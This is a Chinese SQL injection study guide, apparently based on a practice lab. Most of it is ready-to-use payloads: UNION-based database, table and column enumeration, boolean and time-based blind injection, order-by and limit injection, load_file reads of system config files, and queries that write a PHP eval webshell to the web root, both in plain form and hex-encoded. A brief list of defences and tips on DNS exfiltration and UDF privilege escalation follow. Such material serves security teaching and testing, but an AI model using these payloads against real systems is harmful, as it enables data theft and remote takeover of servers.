从某开源靶场详细学习SQL注入的过程
字数 938 2025-08-09 18:44:09
SQL注入全面学习指南
1. SQL注入基础
SQL注入是一种将恶意SQL代码插入到应用输入参数中的攻击技术,攻击者通过这些参数修改后台SQL查询逻辑,从而获取非授权数据或执行非授权操作。
2. 漏洞检测与利用
2.1 确定列数与回显位
-
使用
order by子句确定列数:?id=1' order by 5--+逐步增加数字直到报错,确定列数
-
确定回显位:
?id=0' union select 1,2,3,4,5--+观察页面显示的数字即为回显位
2.2 信息收集
-
查数据库名:
?id=0' union select 1,database(),3,4,5--+ -
查表名:
?id=0' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--+ -
查列名:
?id=0' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'--+
3. 盲注技术
3.1 布尔盲注
通过页面返回的真假状态推断数据:
?id=1' and ascii(substr(database(),1,1))>100--+
3.2 时间盲注
利用延时函数判断条件真假:
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0)--+
4. 特殊注入技术
4.1 Limit注入
无order by情况:
?id=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
有order by情况:
?id=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
4.2 Order by注入
利用IF函数进行盲注:
?id=1' and 1=1 order by if(1=1,1,(select 1 union select 2))--+
5. 文件操作
5.1 读取文件
使用load_file()函数读取文件内容:
?id=0' union select 1,2,load_file("D:/flag.txt"),4,5--+
常见可读取的配置文件路径:
/etc/apache2/sites-available/000-default.conf/etc/apache2/apache2.conf/etc/nginx/nginx.conf/var/log/apache2/access.log/var/log/nginx/error.log/proc/self/environ
5.2 写入Webshell
5.2.1 into outfile写文件
?id=0' union select 1,2,'<?php @eval($_POST[cmd]);?>',4,5 into outfile "D:/phpstudy_pro/WWW/phptrain/shell3.php"--+
5.2.2 log日志写shell
通过修改日志文件路径和日志格式写入PHP代码
5.2.3 order by写webshell
?id=1' into outfile '/var/www/html/shell.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e--+
5.2.4 limit写shell
?id=1' into outfile '/var/www/html/shell.php' fields terminated by 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e--+
6. 防御措施
- 使用参数化查询(预处理语句)
- 实施最小权限原则
- 对输入进行严格过滤和转义
- 关闭错误信息显示
- 使用Web应用防火墙(WAF)
- 定期更新和修补系统
7. 实战技巧
-
当遇到无回显情况时,可尝试:
- DNS外带数据
- 时间盲注
- 布尔盲注
-
获取网站根目录的方法:
- 读取配置文件
- 通过报错信息
- 读取日志文件
-
权限提升技巧:
- 利用UDF提权
- 利用系统函数执行命令
- 读取敏感配置文件获取更多信息
本指南涵盖了SQL注入的主要技术点,从基础的信息收集到高级的文件操作和权限提升。实际应用中需要根据目标环境灵活组合使用这些技术。